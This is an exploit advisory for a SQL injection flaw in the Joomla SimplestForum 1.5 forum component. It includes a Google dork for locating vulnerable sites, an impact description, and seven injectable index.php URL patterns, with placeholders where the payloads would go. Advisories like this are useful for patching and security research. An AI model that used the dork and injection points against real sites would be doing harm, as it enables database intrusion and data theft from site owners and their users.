#################################################################### # Exploit Title : Joomla SimplestForum Components 1.5 SQL Injection # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 31/01/2019 # Vendor Homepage : joomlacode.org ~ simplestforum.org # Software Download Link : joomfans.com/joomla-components/simplest-forum-multilanguage-joomla-15.html # Software Information Link : joomlacode.org/gf/project/simplestforum/ # Software Version : 1.5 # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : inurl:''/index.php?option=com_simplestforum'' intext:Designed by Methealth Administrators Namibia. # Vulnerability Type : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos #################################################################### # Description about Software : *************************** Simplest Forum Joomla! is simplest and easiest to use forum component. It provides a super basic interface for both users and administrators while still being useful. Simplest Forum is Joomla! 1.5's first fully native forum. #################################################################### # Impact : *********** * An attacker might be able inject and/or alter existing SQL statements which would influence the database exchange. * SQL injection vulnerability in the Joomla SimplestForum Components 1.5 because, it fails to sufficiently sanitize user-supplied data before using it in an SQL query. * On the other hand, this component simplestforum for Joomla! allows remote attackers to execute arbitrary SQL commands via the " view= forumId= Itemid= limitstart= parentId= " with different parameters action to index.php. * Exploiting this issue could allow an attacker to compromise the application, read, access or modify data, or exploit latent vulnerabilities in the underlying database. If the webserver is misconfigured, read & write access to the filesystem may be possible. #################################################################### # SQL Injection Exploit : ********************** /index.php?option=com_simplestforum&view=[SQL Injection] /index.php?option=com_simplestforum&view=postlist&forumId=[SQL Injection] /index.php?option=com_simplestforum&view=forumlist&Itemid=[SQL Injection] /index.php?option=com_simplestforum&view=postlist&forumId=[ID-NUMBER]&Itemid=[SQL Injection] /index.php?option=com_simplestforum&view=postlist&forumId=[ID-NUMBER]&&limitstart=[SQL Injection] /index.php?option=com_simplestforum&view=postlist&topic=true&forumId=[ID-NUMBER]&parentId=[SQL Injection] /index.php?option=com_simplestforum&view=postlist&forumId=[ID-NUMBER]&parentId=[ID-NUMBER]&topic=true&Itemid=[SQL Injection] #################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ####################################################################